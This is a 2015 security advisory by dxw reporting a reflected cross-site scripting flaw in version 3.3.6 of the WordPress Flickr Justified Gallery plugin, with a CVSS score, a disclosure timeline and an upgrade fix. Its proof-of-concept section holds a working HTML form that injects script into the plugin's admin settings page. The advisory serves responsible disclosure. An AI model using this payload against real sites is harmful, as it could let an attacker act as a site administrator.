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WordPress Flickr Justified Gallery 3.3.6 Cross Site Scripting

WordPress Flickr Justified Gallery 3.3.6 Cross Site Scripting
Posted Jul 28, 2015
Authored by Tom Adams

WordPress Flickr Justified Gallery plugin version 3.3.6 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 976c6087ecb03d8b8cae5e43e9e600acaa4392bab73a3bae21e132826b40bada

WordPress Flickr Justified Gallery 3.3.6 Cross Site Scripting

Change Mirror Download
Details
================
Software: Flickr Justified Gallery
Version: 3.3.6
Homepage: https://wordpress.org/plugins/flickr-justified-gallery/
Advisory report: https://security.dxw.com/advisories/reflected-xss-in-flickr-justified-gallery-could-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can-do/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
Reflected XSS in Flickr Justified Gallery could allows unauthenticated attackers to do almost anything an admin can do

Vulnerability
================
This plugin contains a reflected XSS vulnerability which would allow an unauthenticated attacker to do almost anything an admin user can do.
For this to happen, the administrator would have to be tricked into clicking on a link controlled by the attacker. It is easy to make these links very convincing.

Proof of concept
================
Visit a page containing the following in Firefox or any other browser with no reflected XSS mitigation strategies, and click submit:
<form action=\"http://localhost/wp-admin/options-general.php?page=fjgwpp.php\" method=\"POST\">
<input type=\"text\" name=\"fjgwpp_userID\" value=\":"><script>alert(1)</script>\">
<input type=\"text\" name=\"Submit\" value=\"Save Changes\">
<input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 3.4.0 or later

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2015-07-21: Discovered
2015-07-22: Reported to vendor via email
2015-07-22: Requested CVE
2015-07-23: Vendor responded confirming fixed in 3.4.0
2015-07-28: Published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




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